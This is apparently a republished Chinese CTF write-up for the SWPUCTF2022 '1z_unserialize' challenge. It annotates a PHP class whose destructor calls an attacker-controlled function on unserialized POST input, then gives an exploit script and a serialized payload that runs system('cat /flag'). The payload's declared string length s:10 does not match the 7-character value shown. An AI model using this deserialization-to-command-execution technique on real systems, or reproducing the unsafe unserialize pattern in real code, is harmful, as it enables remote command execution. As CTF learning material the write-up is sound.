[SWPUCTF2022新生赛]1z_unserialize
- 软件开发
- 2025-09-17 04:09:02
![[SWPUCTF2022新生赛]1z_unserialize](/0pic/pp_66.jpg)
题目描述:是很简单的反序列化噢
代码审计看注释
<?php class lyh{ //定义一个类为lyh public $url = 'NSSCTF ';//公共属性,初始值为NSSCTF public $lt; //公共属性,没有初始值 public $lly; //公共属性,没有初始值 function __destruct() //__destruct()方法是php中的一个魔术方法,当对象被销毁是自动调用 { $a = $this->lt; //在这个方法中$a被赋值为$this->lt,然后$a($this->lly)被调用,这意味这$this->lt应给是一个 //可以调用的函数或方法, 而$this-lly是传递给这个函数的参数 $a($this->lly); } } unserialize($_POST['nss']); //这行代码从POST请求中获取nss参数,并将其反序列化为php对象。反序列操作会将字符串转换回PHP对象 highlight_file(__FILE__); ?> 补充大佬的解释a($this->lly): 将 $this->lly 的值作为参数传递给 $a 所代表的函数。$a = $this->lt;$a($this->lly);相当于lt(lly):很想命令执行函数+指令所以我们可以通过构造一个恶意的序列化对象,将自定义的函数传递给$lt属性,然后将要执行的代码(或指向一个恶意代码文件的路径)传递给$lly属性。当对象被序列化后在被反序列化是,__destruct方法会被自动调用,从而执行指定的恶意操作。只要传参把a变成system();,this-lly变成ls或者cat就是一个简单的命令注入了system("cat /flag");写出php脚本exp
<?php class lyh{ public $url = 'NSSCTF '; public $lt = "system"; public $lly = "cat /flag"; } $sss = new lyh(); echo serialize($sss); //O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF ";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}POST传参nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF ";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
[SWPUCTF2022新生赛]1z_unserialize由讯客互联软件开发栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“[SWPUCTF2022新生赛]1z_unserialize”
上一篇
大模型技术:重塑未来的力量